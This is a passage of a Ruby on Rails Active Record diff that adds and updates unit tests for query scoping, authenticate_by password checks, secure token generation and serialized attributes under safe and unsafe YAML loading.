+  def test_scoping_applies_to_delete_with_all_queries
+    Author.all.limit(5).update_all(organization_id: 1)
+
+    dev1 = Author.where(organization_id: 1).first
+    dev2 = Author.where(organization_id: 1).last
+
+    Author.where(organization_id: 1).scoping do
+      delete_sql = capture_sql { dev1.delete }.first
+      assert_no_match(/organization_id/, delete_sql)
+    end
+
+    Author.where(organization_id: 1).scoping(all_queries: true) do
+      delete_scoped_sql = capture_sql { dev2.delete }.first
+      assert_match(/organization_id/, delete_scoped_sql)
+    end
+  end
+
+  def test_scoping_applies_to_reload_with_all_queries
+    Author.all.limit(5).update_all(organization_id: 1)
+
+    dev1 = Author.where(organization_id: 1).first
+
+    Author.where(organization_id: 1).scoping do
+      reload_sql = capture_sql { dev1.reload }.first
+      assert_no_match(/organization_id/, reload_sql)
+    end
+
+    Author.where(organization_id: 1).scoping(all_queries: true) do
+      scoped_reload_sql = capture_sql { dev1.reload }.first
+      assert_match(/organization_id/, scoped_reload_sql)
+    end
+  end
+
+  def test_nested_scoping_applies_with_all_queries_set
+    Author.all.limit(5).update_all(organization_id: 1)
+
+    Author.where(organization_id: 1).scoping(all_queries: true) do
+      select_sql = capture_sql { Author.first }.first
+      assert_match(/organization_id/, select_sql)
+
+      Author.where(owned_essay_id: nil).scoping do
+        second_select_sql = capture_sql { Author.first }.first
+        assert_match(/organization_id/, second_select_sql)
+        assert_match(/owned_essay_id/, second_select_sql)
+      end
+
+      third_select_sql = capture_sql { Author.first }.first
+      assert_match(/organization_id/, third_select_sql)
+      assert_no_match(/owned_essay_id/, third_select_sql)
+    end
+  end
+
+  def test_raises_error_if_all_queries_is_set_to_false_while_nested
+    Author.all.limit(5).update_all(organization_id: 1)
+
+    Author.where(organization_id: 1).scoping(all_queries: true) do
+      select_sql = capture_sql { Author.first }.first
+      assert_match(/organization_id/, select_sql)
+
+      error = assert_raises ArgumentError do
+        Author.where(organization_id: 1).scoping(all_queries: false) { }
+      end
+
+      assert_equal "Scoping is set to apply to all queries and cannot be " \
+       "unset in a nested block.", error.message
+    end
+  end
 end
 
 class NestedRelationScopingTest < ActiveRecord::TestCase
-  fixtures :authors, :developers, :projects, :comments, :posts
+  fixtures :authors, :author_addresses, :developers, :projects, :comments, :posts
 
   def test_merge_options
     Developer.where("salary = 80000").scoping do
@@ -302,7 +509,7 @@ def test_nested_scoped_create
   def test_nested_exclusive_scope_for_create
     comment = Comment.create_with(body: "Hey guys, nested scopes are broken. Please fix!").scoping do
       Comment.unscoped.create_with(post_id: 1).scoping do
-        assert Comment.new.body.blank?
+        assert_predicate Comment.new.body, :blank?
         Comment.create body: "Hey guys"
       end
     end
@@ -325,13 +532,25 @@ def test_forwarding_of_static_methods
   end
 
   def test_forwarding_to_scoped
-    assert_equal 4, Comment.search_by_type("Comment").size
+    assert_equal 5, Comment.search_by_type("Comment").size
     assert_equal 2, @welcome.comments.search_by_type("Comment").size
   end
 
   def test_nested_scope_finder
     Comment.where("1=0").scoping do
-      assert_equal 0, @welcome.comments.count
+      assert_equal 2, @welcome.comments.count
+      assert_equal "a comment...", @welcome.comments.what_are_you
+    end
+
+    Comment.where("1=1").scoping do
+      assert_equal 2, @welcome.comments.count
+      assert_equal "a comment...", @welcome.comments.what_are_you
+    end
+  end
+
+  def test_none_scoping
+    Comment.none.scoping do
+      assert_equal 2, @welcome.comments.count
       assert_equal "a comment...", @welcome.comments.what_are_you
     end
 
@@ -356,6 +575,21 @@ def test_should_maintain_default_scope_on_eager_loaded_associations
     magician = BadReference.find(1)
     assert_equal [magician], michael.bad_references
   end
+
+  def test_scoping_applies_to_all_queries_on_has_many_when_set
+    @welcome.comments.update_all(author_id: 1)
+
+    comments_sql = capture_sql { @welcome.comments.to_a }.last
+    assert_no_match(/author_id/, comments_sql)
+
+    Comment.where(author_id: 1).scoping(all_queries: true) do
+      scoped_comments_sql = capture_sql { @welcome.comments.reload.to_a }.last
+      assert_match(/author_id/, scoped_comments_sql)
+    end
+
+    unscoped_comments_sql = capture_sql { @welcome.comments.reload.to_a }.last
+    assert_no_match(/author_id/, unscoped_comments_sql)
+  end
 end
 
 class HasAndBelongsToManyScopingTest < ActiveRecord::TestCase
@@ -372,7 +606,19 @@ def test_forwarding_of_static_methods
 
   def test_nested_scope_finder
     Category.where("1=0").scoping do
-      assert_equal 0, @welcome.categories.count
+      assert_equal 2, @welcome.categories.count
+      assert_equal "a category...", @welcome.categories.what_are_you
+    end
+
+    Category.where("1=1").scoping do
+      assert_equal 2, @welcome.categories.count
+      assert_equal "a category...", @welcome.categories.what_are_you
+    end
+  end
+
+  def test_none_scoping
+    Category.none.scoping do
+      assert_equal 2, @welcome.categories.count
       assert_equal "a category...", @welcome.categories.what_are_you
     end
 
diff --git a/activerecord/test/cases/secure_password_test.rb b/activerecord/test/cases/secure_password_test.rb
new file mode 100644
index 0000000000000..fdb4197b98bb3
--- /dev/null
+++ b/activerecord/test/cases/secure_password_test.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/user"
+
+class SecurePasswordTest < ActiveRecord::TestCase
+  setup do
+    # Speed up tests
+    @original_min_cost = ActiveModel::SecurePassword.min_cost
+    ActiveModel::SecurePassword.min_cost = true
+
+    @user = User.create(password: "abc123", recovery_password: "123abc")
+  end
+
+  teardown do
+    ActiveModel::SecurePassword.min_cost = @original_min_cost
+  end
+
+  test "authenticate_by authenticates when password is correct" do
+    assert_equal @user, User.authenticate_by(token: @user.token, password: @user.password)
+  end
+
+  test "authenticate_by does not authenticate when password is incorrect" do
+    assert_nil User.authenticate_by(token: @user.token, password: "wrong")
+  end
+
+  test "authenticate_by takes the same amount of time regardless of whether record is found" do
+    # Warm-up (mostly to ensure the DB connection is established)
+    User.authenticate_by(token: @user.token, password: @user.password)
+
+    retry_flaky_test do
+      # ActiveSupport::Benchmark.realtime returns fractional seconds. Thus, summing over 1000
+      # iterations is equivalent to averaging over 1000 iterations and then
+      # multiplying by 1000 to convert to milliseconds.
+      found_average_time_in_ms = 1000.times.sum do
+        ActiveSupport::Benchmark.realtime do
+          User.authenticate_by(token: @user.token, password: @user.password)
+        end
+      end
+
+      not_found_average_time_in_ms = 1000.times.sum do
+        ActiveSupport::Benchmark.realtime do
+          User.authenticate_by(token: "wrong", password: @user.password)
+        end
+      end
+
+      assert_in_delta found_average_time_in_ms, not_found_average_time_in_ms, 0.5
+    end
+  end
+
+  test "authenticate_by short circuits when password is nil" do
+    assert_no_queries do
+      assert_nil User.authenticate_by(token: @user.token, password: nil)
+    end
+  end
+
+  test "authenticate_by short circuits when password is an empty string" do
+    assert_no_queries do
+      assert_nil User.authenticate_by(token: @user.token, password: "")
+    end
+  end
+
+  test "authenticate_by finds record using multiple attributes" do
+    assert_equal @user, User.authenticate_by(token: @user.token, auth_token: @user.auth_token, password: @user.password)
+    assert_nil User.authenticate_by(token: @user.token, auth_token: "wrong", password: @user.password)
+  end
+
+  test "authenticate_by authenticates using multiple passwords" do
+    assert_equal @user, User.authenticate_by(token: @user.token, password: @user.password, recovery_password: @user.recovery_password)
+    assert_nil User.authenticate_by(token: @user.token, password: @user.password, recovery_password: "wrong")
+  end
+
+  test "authenticate_by requires at least one password" do
+    assert_raises ArgumentError do
+      User.authenticate_by(token: @user.token)
+    end
+  end
+
+  test "authenticate_by requires at least one attribute" do
+    assert_raises ArgumentError do
+      User.authenticate_by(password: @user.password)
+    end
+  end
+
+  test "authenticate_by accepts any object that implements to_h" do
+    params = Enumerator.new { raise "must access via to_h" }
+
+    assert_called_with(params, :to_h, [], returns: { token: @user.token, password: @user.password }) do
+      assert_equal @user, User.authenticate_by(params)
+    end
+
+    assert_called_with(params, :to_h, [], returns: { token: "wrong", password: @user.password }) do
+      assert_nil User.authenticate_by(params)
+    end
+  end
+
+  private
+    def retry_flaky_test(retry_count: 3)
+      yield
+    rescue Minitest::Assertion
+      if retry_count > 0
+        retry_count -= 1
+        retry
+      else
+        raise
+      end
+    end
+end
diff --git a/activerecord/test/cases/secure_token_test.rb b/activerecord/test/cases/secure_token_test.rb
index 7b9cbee40a319..dc6723f02163e 100644
--- a/activerecord/test/cases/secure_token_test.rb
+++ b/activerecord/test/cases/secure_token_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/user"
 
@@ -10,6 +12,51 @@ def test_token_values_are_generated_for_specified_attributes_and_persisted_on_sa
     @user.save
     assert_not_nil @user.token
     assert_not_nil @user.auth_token
+    assert_equal 24, @user.token.size
+    assert_equal 36, @user.auth_token.size
+  end
+
+  def test_generating_token_on_initialize_does_not_affect_reading_from_the_column
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "users"
+      has_secure_token on: :initialize
+    end
+
+    token = "abc123"
+
+    user = model.create!(token: token)
+
+    assert_equal token, user.token
+    assert_equal token, user.reload.token
+    assert_equal token, model.find(user.id).token
+  end
+
+  def test_generating_token_on_initialize_happens_only_once
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "users"
+      has_secure_token on: :initialize
+    end
+
+    token = "    "
+
+    user = model.new
+    user.update!(token: token)
+
+    assert_equal token, user.token
+    assert_equal token, user.reload.token
+    assert_equal token, model.find(user.id).token
+  end
+
+  def test_generating_token_on_initialize_is_skipped_if_column_was_not_selected
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "users"
+      has_secure_token on: :initialize
+    end
+
+    model.create!
+    assert_nothing_raised do
+      model.select(:id).last
+    end
   end
 
   def test_regenerating_the_secure_token
@@ -21,6 +68,9 @@ def test_regenerating_the_secure_token
 
     assert_not_equal @user.token, old_token
     assert_not_equal @user.auth_token, old_auth_token
+
+    assert_equal 24, @user.token.size
+    assert_equal 36, @user.auth_token.size
   end
 
   def test_token_value_not_overwritten_when_present
@@ -29,4 +79,55 @@ def test_token_value_not_overwritten_when_present
 
     assert_equal "custom-secure-token", @user.token
   end
+
+  def test_token_length_cannot_be_less_than_24_characters
+    assert_raises(ActiveRecord::SecureToken::MinimumLengthError) do
+      @user.class_eval do
+        has_secure_token :not_valid_token, length: 12
+      end
+    end
+  end
+
+  def test_token_on_callback
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "users"
+      has_secure_token on: :initialize
+    end
+
+    user = model.new
+
+    assert_predicate user.token, :present?
+  end
+
+  def test_token_calls_the_setter_method
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "users"
+      has_secure_token on: :initialize
+
+      attr_accessor :modified_token
+
+      def token=(value)
+        super
+        self.modified_token = "#{value}_modified"
+      end
+    end
+
+    user = model.new
+
+    assert_equal "#{user.token}_modified", user.modified_token
+  end
+
+  def test_token_with_prefix
+    model = Class.new(ActiveRecord::Base) do
+      self.table_name = "users"
+      attribute :auth_token
+      has_secure_token prefix: true, on: :initialize
+      has_secure_token :auth_token, on: :initialize, prefix: "auth_"
+    end
+
+    user = model.new
+
+    assert_match(/^token_/, user.token)
+    assert_match(/^auth/, user.auth_token)
+  end
 end
diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb
index ec33ad38f21f4..152443e6f9cc4 100644
--- a/activerecord/test/cases/serialization_test.rb
+++ b/activerecord/test/cases/serialization_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/contact"
 require "models/topic"
@@ -17,7 +19,7 @@ def setup
       avatar: "binarydata",
       created_at: Time.utc(2006, 8, 1),
       awesome: false,
-      preferences: { gem: "<strong>ruby</strong>" },
+      preferences: { "gem" => "<strong>ruby</strong>" },
       alternative_id: nil,
       id: nil
     }
@@ -29,8 +31,8 @@ def test_include_root_in_json_is_false_by_default
 
   def test_serialize_should_be_reversible
     FORMATS.each do |format|
-      @serialized = Contact.new.send("to_#{format}")
-      contact = Contact.new.send("from_#{format}", @serialized)
+      @serialized = Contact.new.public_send("to_#{format}")
+      contact = Contact.new.public_send("from_#{format}", @serialized)
 
       assert_equal @contact_attributes.keys.collect(&:to_s).sort, contact.attributes.keys.collect(&:to_s).sort, "For #{format}"
     end
@@ -38,8 +40,8 @@ def test_serialize_should_be_reversible
 
   def test_serialize_should_allow_attribute_only_filtering
     FORMATS.each do |format|
-      @serialized = Contact.new(@contact_attributes).send("to_#{format}", only: [ :age, :name ])
-      contact = Contact.new.send("from_#{format}", @serialized)
+      @serialized = Contact.new(@contact_attributes).public_send("to_#{format}", only: [ :age, :name ])
+      contact = Contact.new.public_send("from_#{format}", @serialized)
       assert_equal @contact_attributes[:name], contact.name, "For #{format}"
       assert_nil contact.avatar, "For #{format}"
     end
@@ -47,8 +49,8 @@ def test_serialize_should_allow_attribute_only_filtering
 
   def test_serialize_should_allow_attribute_except_filtering
     FORMATS.each do |format|
-      @serialized = Contact.new(@contact_attributes).send("to_#{format}", except: [ :age, :name ])
-      contact = Contact.new.send("from_#{format}", @serialized)
+      @serialized = Contact.new(@contact_attributes).public_send("to_#{format}", except: [ :age, :name ])
+      contact = Contact.new.public_send("from_#{format}", @serialized)
       assert_nil contact.name, "For #{format}"
       assert_nil contact.age, "For #{format}"
       assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}"
@@ -65,8 +67,8 @@ def test_include_root_in_json_allows_inheritance
 
     klazz.include_root_in_json = false
     assert ActiveRecord::Base.include_root_in_json
-    assert !klazz.include_root_in_json
-    assert !klazz.new.include_root_in_json
+    assert_not klazz.include_root_in_json
+    assert_not klazz.new.include_root_in_json
   ensure
     ActiveRecord::Base.include_root_in_json = original_root_in_json
   end
diff --git a/activerecord/test/cases/serialized_attribute_test.rb b/activerecord/test/cases/serialized_attribute_test.rb
index 673392b4c498c..ac08566f732ad 100644
--- a/activerecord/test/cases/serialized_attribute_test.rb
+++ b/activerecord/test/cases/serialized_attribute_test.rb
@@ -1,18 +1,35 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "models/topic"
-require "models/reply"
 require "models/person"
 require "models/traffic_light"
 require "models/post"
-require "bcrypt"
 
 class SerializedAttributeTest < ActiveRecord::TestCase
+  def setup
+    ActiveRecord.use_yaml_unsafe_load = true
+    @yaml_column_permitted_classes_default = ActiveRecord.yaml_column_permitted_classes
+  end
+
+  def teardown
+    Topic.serialize("content")
+    ActiveRecord.yaml_column_permitted_classes = @yaml_column_permitted_classes_default
+  end
+
   fixtures :topics, :posts
 
   MyObject = Struct.new :attribute1, :attribute2
 
-  teardown do
-    Topic.serialize("content")
+  class Topic < ActiveRecord::Base
+    serialize :content
+  end
+
+  class ImportantTopic < Topic
+    serialize :important, type: Hash
+  end
+
+  class ClassifiedTopic < Topic
+    serialize :important, type: Class
   end
 
   def test_serialize_does_not_eagerly_load_columns
@@ -23,7 +40,7 @@ def test_serialize_does_not_eagerly_load_columns
   end
 
   def test_serialized_attribute
-    Topic.serialize("content", MyObject)
+    Topic.serialize("content", type: MyObject)
 
     myobj = MyObject.new("value1", "value2")
     topic = Topic.create("content" => myobj)
@@ -33,8 +50,44 @@ def test_serialized_attribute
     assert_equal(myobj, topic.content)
   end
 
+  def test_serialized_attribute_on_alias_attribute
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      alias_attribute :object, :content
+      serialize :object, type: MyObject
+    end
+
+    myobj = MyObject.new("value1", "value2")
+    topic = klass.create!(object: myobj)
+    assert_equal(myobj, topic.object)
+
+    topic.reload
+    assert_equal(myobj, topic.object)
+  end
+
+  def test_serialized_attribute_with_default
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      serialize(:content, type: Hash, default: { key: "value" })
+    end
+
+    t = klass.new
+    assert_equal({ key: "value" }, t.content)
+  end
+
+  def test_serialized_attribute_on_custom_attribute_with_default
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      attribute :content, default: { key: "value" }
+      serialize :content, type: Hash
+    end
+
+    t = klass.new
+    assert_equal({ key: "value" }, t.content)
+  end
+
   def test_serialized_attribute_in_base_class
-    Topic.serialize("content", Hash)
+    Topic.serialize("content", type: Hash)
 
     hash = { "content1" => "value1", "content2" => "value2" }
     important_topic = ImportantTopic.create("content" => hash)
@@ -45,17 +98,17 @@ def test_serialized_attribute_in_base_class
   end
 
   def test_serialized_attributes_from_database_on_subclass
-    Topic.serialize :content, Hash
+    Topic.serialize :content, type: Hash
 
-    t = Reply.new(content: { foo: :bar })
+    t = ImportantTopic.new(content: { foo: :bar })
     assert_equal({ foo: :bar }, t.content)
     t.save!
-    t = Reply.last
+    t = ImportantTopic.last
     assert_equal({ foo: :bar }, t.content)
   end
 
   def test_serialized_attribute_calling_dup_method
-    Topic.serialize :content, JSON
+    Topic.serialize :content, coder: JSON
 
     orig = Topic.new(content: { foo: :bar })
     clone = orig.dup
@@ -63,7 +116,7 @@ def test_serialized_attribute_calling_dup_method
   end
 
   def test_serialized_json_attribute_returns_unserialized_value
-    Topic.serialize :content, JSON
+    Topic.serialize :content, coder: JSON
     my_post = posts(:welcome)
 
     t = Topic.new(content: my_post)
@@ -76,26 +129,43 @@ def test_serialized_json_attribute_returns_unserialized_value
   end
 
   def test_json_read_legacy_null
-    Topic.serialize :content, JSON
+    Topic.serialize :content, coder: JSON
 
     # Force a row to have a JSON "null" instead of a database NULL (this is how
     # null values are saved on 4.1 and before)
-    id = Topic.connection.insert "INSERT INTO topics (content) VALUES('null')"
+    id = Topic.lease_connection.insert "INSERT INTO topics (content) VALUES('null')"
     t = Topic.find(id)
 
     assert_nil t.content
   end
 
   def test_json_read_db_null
-    Topic.serialize :content, JSON
+    Topic.serialize :content, coder: JSON
 
     # Force a row to have a database NULL instead of a JSON "null"
-    id = Topic.connection.insert "INSERT INTO topics (content) VALUES(NULL)"
+    id = Topic.lease_connection.insert "INSERT INTO topics (content) VALUES(NULL)"
     t = Topic.find(id)
 
     assert_nil t.content
   end
 
+  def test_json_type_hash_default_value
+    Topic.serialize :content, coder: JSON, type: Hash
+    t = Topic.new
+    assert_equal({}, t.content)
+  end
+
+  def test_json_symbolize_names_returns_symbolized_names
+    Topic.serialize :content, coder: ActiveRecord::Coders::JSON.new(symbolize_names: true)
+    my_post = posts(:welcome)
+
+    t = Topic.new(content: my_post)
+    t.save!
+    t.reload
+
+    assert_equal(t.content.deep_symbolize_keys, t.content)
+  end
+
   def test_serialized_attribute_declared_in_subclass
     hash = { "important1" => "value1", "important2" => "value2" }
     important_topic = ImportantTopic.create("important" => hash)
@@ -118,6 +188,23 @@ def test_serialized_string_attribute
     assert_equal(myobj, topic.content)
   end
 
+  def test_serialized_class_attribute
+    ActiveRecord.yaml_column_permitted_classes += [Class]
+
+    topic = ClassifiedTopic.create(important: Symbol).reload
+    assert_equal(Symbol, topic.important)
+    assert_not_empty ClassifiedTopic.where(important: Symbol)
+  end
+
+  def test_serialized_class_does_not_become_frozen
+    ActiveRecord.yaml_column_permitted_classes += [Class]
+
+    assert_not_predicate Symbol, :frozen?
+    ClassifiedTopic.create(important: Symbol)
+    assert_not_empty ClassifiedTopic.where(important: Symbol)
+    assert_not_predicate Symbol, :frozen?
+  end
+
   def test_nil_serialized_attribute_without_class_constraint
     topic = Topic.new
     assert_nil topic.content
@@ -129,13 +216,13 @@ def test_nil_not_serialized_without_class_constraint
   end
 
   def test_nil_not_serialized_with_class_constraint
-    Topic.serialize :content, Hash
+    Topic.serialize :content, type: Hash
     assert Topic.new(content: nil).save
     assert_equal 1, Topic.where(content: nil).count
   end
 
   def test_serialized_attribute_should_raise_exception_on_assignment_with_wrong_type
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
     assert_raise(ActiveRecord::SerializationTypeMismatch) do
       Topic.new(content: "string")
     end
@@ -145,27 +232,41 @@ def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
     myobj = MyObject.new("value1", "value2")
     topic = Topic.new(content: myobj)
     assert topic.save
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
     assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).content }
   end
 
   def test_serialized_attribute_with_class_constraint
     settings = { "color" => "blue" }
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
     topic = Topic.new(content: settings)
     assert topic.save
     assert_equal(settings, Topic.find(topic.id).content)
   end
 
+  def test_where_by_serialized_attribute_with_array
+    settings = [ "color" => "green" ]
+    Topic.serialize(:content, type: Array)
+    topic = Topic.create!(content: settings)
+    assert_equal topic, Topic.where(content: settings).take
+  end
+
   def test_where_by_serialized_attribute_with_hash
     settings = { "color" => "green" }
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
     topic = Topic.create!(content: settings)
     assert_equal topic, Topic.where(content: settings).take
   end
 
+  def test_where_by_serialized_attribute_with_hash_in_array
+    settings = { "color" => "green" }
+    Topic.serialize(:content, type: Hash)
+    topic = Topic.create!(content: settings)
+    assert_equal topic, Topic.where(content: [settings, { "herring" => "red" }]).take
+  end
+
   def test_serialized_default_class
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
     topic = Topic.new
     assert_equal Hash, topic.content.class
     assert_equal Hash, topic.read_attribute(:content).class
@@ -206,7 +307,7 @@ def self.load(value)
       end
     end
 
-    Topic.serialize(:content, some_class)
+    Topic.serialize(:content, coder: some_class)
     topic = Topic.new(content: some_class.new("my value"))
     topic.save!
     topic.reload
@@ -216,7 +317,7 @@ def self.load(value)
 
   def test_serialize_attribute_via_select_method_when_time_zone_available
     with_timezone_config aware_attributes: true do
-      Topic.serialize(:content, MyObject)
+      Topic.serialize(:content, type: MyObject)
 
       myobj = MyObject.new("value1", "value2")
       topic = Topic.create(content: myobj)
@@ -241,16 +342,16 @@ def test_regression_serialized_default_on_text_column_with_null_false
   end
 
   def test_unexpected_serialized_type
-    Topic.serialize :content, Hash
+    Topic.serialize :content, type: Hash
     topic = Topic.create!(content: { zomg: true })
 
-    Topic.serialize :content, Array
+    Topic.serialize :content, type: Array
 
     topic.reload
     error = assert_raise(ActiveRecord::SerializationTypeMismatch) do
       topic.content
     end
-    expected = "can't load `content`: was supposed to be a Array, but was a Hash. -- {:zomg=>true}"
+    expected = "can't load `content`: was supposed to be a Array, but was a Hash. -- #{{ zomg: true }}"
     assert_equal expected, error.to_s
   end
 
@@ -273,21 +374,21 @@ def test_serialized_column_should_unserialize_after_update_attribute
   end
 
   def test_nil_is_not_changed_when_serialized_with_a_class
-    Topic.serialize(:content, Array)
+    Topic.serialize(:content, type: Array)
 
     topic = Topic.new(content: nil)
 
-    assert_not topic.content_changed?
+    assert_not_predicate topic, :content_changed?
   end
 
   def test_classes_without_no_arg_constructors_are_not_supported
     assert_raises(ArgumentError) do
-      Topic.serialize(:content, Regexp)
+      Topic.serialize(:content, type: Regexp)
     end
   end
 
   def test_newly_emptied_serialized_hash_is_changed
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
     topic = Topic.create(content: { "things" => "stuff" })
     topic.content.delete("things")
     topic.save!
@@ -296,27 +397,140 @@ def test_newly_emptied_serialized_hash_is_changed
     assert_equal({}, topic.content)
   end
 
+  def test_is_not_changed_when_stored_blob
+    Topic.serialize(:binary_content, type: Array)
+    Topic.serialize(:content, type: Array)
+
+    value = %w(Fée)
+    model = Topic.create!(binary_content: value, content: value)
+    model.reload
+
+    model.binary_content = value
+    assert_not_predicate model, :binary_content_changed?
+
+    model.content = value
+    assert_not_predicate model, :content_changed?
+  end
+
+  class FrozenCoder < ActiveRecord::Coders::YAMLColumn
+    def dump(obj)
+      super&.freeze
+    end
+  end
+
+  def test_is_not_changed_when_stored_in_blob_frozen_payload
+    Topic.serialize(:binary_content, coder: FrozenCoder.new(:binary_content, Array))
+    Topic.serialize(:content, coder: FrozenCoder.new(:content, Array))
+
+    value = %w(Fée)
+    model = Topic.create!(binary_content: value, content: value)
+    model.reload
+
+    model.content = value
+    assert_not_predicate model, :content_changed?
+  end
+
   def test_values_cast_from_nil_are_persisted_as_nil
     # This is required to fulfil the following contract, which must be universally
     # true in Active Record:
     #
     # model.attribute = value
     # assert_equal model.attribute, model.tap(&:save).reload.attribute
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
     topic = Topic.create!(content: {})
     topic2 = Topic.create!(content: nil)
 
-    assert_equal [topic, topic2], Topic.where(content: nil)
+    assert_equal [topic, topic2], Topic.where(content: nil).sort_by(&:id)
+  end
+
+  def test_serialized_attribute_can_be_defined_in_abstract_classes
+    klass = Class.new(ActiveRecord::Base) do
+      self.abstract_class = true
+      self.table_name = nil
+      serialize(:content, type: Hash)
+    end
+
+    subclass = Class.new(klass) do
+      self.table_name = "topics"
+    end
+
+    subclass.define_attribute_methods
+
+    topic = subclass.create!(content: { foo: 1 })
+    assert_equal [topic], subclass.where(content: { foo: 1 }).to_a
   end
 
   def test_nil_is_always_persisted_as_null
-    Topic.serialize(:content, Hash)
+    Topic.serialize(:content, type: Hash)
 
     topic = Topic.create!(content: { foo: "bar" })
     topic.update_attribute :content, nil
     assert_equal [topic], Topic.where(content: nil)
   end
 
+  class EncryptedType < ActiveRecord::Type::Text
+    include ActiveModel::Type::Helpers::Mutable
+
+    attr_reader :subtype, :encryptor
+
+    def initialize(subtype: ActiveModel::Type::String.new)
+      super()
+
+      @subtype   = subtype
+      @encryptor = ActiveSupport::MessageEncryptor.new("abcd" * 8)
+    end
+
+    def serialize(value)
+      subtype.serialize(value).yield_self do |cleartext|
+        encryptor.encrypt_and_sign(cleartext) unless cleartext.nil?
+      end
+    end
+
+    def deserialize(ciphertext)
+      encryptor.decrypt_and_verify(ciphertext)
+        .yield_self { |cleartext| subtype.deserialize(cleartext) } unless ciphertext.nil?
+    end
+
+    def changed_in_place?(old, new)
+      if old.nil?
+        !new.nil?
+      else
+        deserialize(old) != new
+      end
+    end
+  end
+
+  def test_decorated_type_with_type_for_attribute
+    old_registry = ActiveRecord::Type.registry
+    ActiveRecord::Type.registry = ActiveRecord::Type.registry.dup
+    ActiveRecord::Type.register :encrypted, EncryptedType
+
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      store :content, coder: ActiveRecord::Coders::JSON
+      attribute :content, :encrypted, subtype: type_for_attribute(:content)
+    end
+
+    topic = klass.create!(content: { trial: true })
+
+    assert_equal({ "trial" => true }, topic.content)
+  ensure
+    ActiveRecord::Type.registry = old_registry
+  end
+
+  def test_decorated_type_with_decorator_block
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      store :content, coder: ActiveRecord::Coders::JSON
+      decorate_attributes([:content]) do |name, type|
+        EncryptedType.new(subtype: type)
+      end
+    end
+
+    topic = klass.create!(content: { trial: true })
+    assert_equal({ "trial" => true }, topic.content)
+  end
+
   def test_mutation_detection_does_not_double_serialize
     coder = Object.new
     def coder.dump(value)
@@ -342,11 +556,187 @@ def deserialize(value)
     end.new
     model = Class.new(Topic) do
       attribute :foo, type
-      serialize :foo, coder
+      serialize :foo, coder: coder
     end
 
     topic = model.create!(foo: "bar")
     topic.foo
-    refute topic.changed?
+    assert_not_predicate topic, :changed?
+  end
+
+  def test_serialized_attribute_works_under_concurrent_initial_access
+    model = Class.new(Topic)
+
+    topic = model.create!
+    topic.update group: "1"
+
+    model.serialize :group, coder: JSON
+    model.reset_column_information
+
+    # This isn't strictly necessary for the test, but a little bit of
+    # knowledge of internals allows us to make failures far more likely.
+    model.define_singleton_method(:define_attribute) do |*args, **options|
+      Thread.pass
+      super(*args, **options)
+    end
+
+    threads = 4.times.map do
+      Thread.new do
+        topic.reload.group
+      end
+    end
+
+    # All the threads should retrieve the value knowing it is JSON, and
+    # thus decode it. If this fails, some threads will instead see the
+    # raw string ("1"), or raise an exception.
+    assert_equal [1] * threads.size, threads.map(&:value)
+  end
+end
+
+class SerializedAttributeTestWithYamlSafeLoad < SerializedAttributeTest
+  def setup
+    @use_yaml_unsafe_load = ActiveRecord.use_yaml_unsafe_load
+    @yaml_column_permitted_classes_default = ActiveRecord.yaml_column_permitted_classes
+    ActiveRecord.use_yaml_unsafe_load = false
+  end
+
+  def teardown
+    Topic.serialize("content")
+    ActiveRecord.yaml_column_permitted_classes = @yaml_column_permitted_classes_default
+    ActiveRecord.use_yaml_unsafe_load = @use_yaml_unsafe_load
+  end
+
+  def test_serialized_attribute
+    Topic.serialize("content", type: String)
+
+    myobj = String.new("value1")
+    topic = Topic.create("content" => myobj)
+    assert_equal(myobj, topic.content)
+
+    topic.reload
+    assert_equal(myobj, topic.content)
+  end
+
+  def test_serialized_attribute_on_custom_attribute_with_default
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      attribute :content, default: { "key" => "value" }
+      serialize :content, type: Hash
+    end
+
+    t = klass.new
+    assert_equal({ "key" => "value" }, t.content)
+  end
+
+  def test_nil_is_always_persisted_as_null
+    Topic.serialize(:content, type: Hash)
+
+    topic = Topic.create!(content: { "foo" => "bar" })
+    topic.update_attribute :content, nil
+    assert_equal [topic], Topic.where(content: nil)
+  end
+
+  def test_serialized_attribute_with_default
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      serialize(:content, type: Hash, default: { "key" => "value" })
+    end
+
+    t = klass.new
+    assert_equal({ "key" => "value" }, t.content)
+  end
+
+  def test_serialized_attributes_from_database_on_subclass
+    Topic.serialize :content, type: Hash
+
+    t = ImportantTopic.new(content: { "foo" => "bar" })
+    assert_equal({ "foo" => "bar" }, t.content)
+    t.save!
+    t = ImportantTopic.last
+    assert_equal({ "foo" => "bar" }, t.content)
+  end
+
+  def test_serialized_attribute_on_alias_attribute
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = Topic.table_name
+      alias_attribute :object, :content
+      serialize :object, type: Hash
+    end
+
